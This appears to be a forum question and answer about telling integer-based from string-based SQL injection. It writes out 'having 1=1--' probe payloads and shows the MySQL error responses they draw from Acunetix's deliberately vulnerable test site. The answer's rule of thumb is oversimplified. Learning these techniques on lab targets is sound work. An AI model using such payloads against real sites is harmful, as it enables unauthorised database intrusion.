How to determine Integer or String based SQL Injection? Page 23 of this document said that Injection Type determines if you need a ' or not
https://defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf
Integer Injection:
http://[site]/page.asp?id=1 having 1=1--

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
String Injection:
http://[site]/page.asp?id=x' having 1=1--

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Determining this is what determines if you need a ' or not.
Let's test this theory on this site.
http://testphp.vulnweb.com/listproducts.php?cat=1

Please take note that this is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer errors and bad configuration may let someone break into your website. You can use it to test other tools and your manual hacking skills as well.
Test 1
http://testphp.vulnweb.com/listproducts.php?cat=1 having 1=1--

No Error, does that mean this is Integer Based SQL Injection?
If I use ' in the parameter, I'll be getting the following error. Does that this is not String Based SQL Injection?
Test 2
http://testphp.vulnweb.com/listproducts.php?cat=1' having 1=1--

Error
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' having 1=1--' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
Test 3
http://testphp.vulnweb.com/listproducts.php?cat=1' having 1=1--+

Error
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' having 1=1--' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
Test 4
http://testphp.vulnweb.com/listproducts.php?cat=1' having 1=1-- -

Error
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' having 1=1-- -' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
Simple. Look at the value in parameter cat=1.
If the value is a number, then it's an integer.
If the value is a letter, then it's a string.
In this case, 1 is a number, and yes ... it's an integer.
To answer your question, yes this is an Integer Based SQL Injection and ' not required.